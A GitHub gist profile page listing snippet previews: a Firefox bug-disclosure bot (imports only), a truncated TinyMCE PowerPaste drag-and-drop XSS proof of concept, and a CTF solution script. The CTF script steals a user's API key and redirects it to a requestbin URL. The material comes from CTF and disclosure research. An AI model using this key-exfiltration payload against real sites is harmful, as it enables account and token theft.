Skip to content

Instantly share code, notes, and snippets.

View l4yton's full-sized avatar
🎯
Focusing

Maurice l4yton

🎯
Focusing
View GitHub Profile
@l4yton
l4yton / firefox_disclosed.py
Last active May 25, 2023 15:47
BugsFirefox
#!/usr/bin/env python3
import logging
import sys
import time
from datetime import datetime, timedelta
import requests
from mastodon import Mastodon
@l4yton
l4yton / chrome.html
Last active May 1, 2021 09:27
TinyMCE PowerPaste 5.4.1 Drag & Drop XSS
<style>
#drag {
position: absolute;
font-size: 50px;
}
</style>
<div id="drag" draggable="true">Drag me into the editor :)</div>
<script>
var div = document.getElementById("drag");
div.addEventListener("dragstart", (e) => {
@l4yton
l4yton / stage1.js
Created September 6, 2020 19:00
Solution for "Where is my Cash" at the ALLES! CTF 2020
let requestbin = "";
fetch("https://api.wimc.ctf.allesctf.net/1.0/user", {method:"GET",cache:"force-cache"}).then(a => a.json()).then(b => document.location.href=requestbin + b["data"]["api_key"]);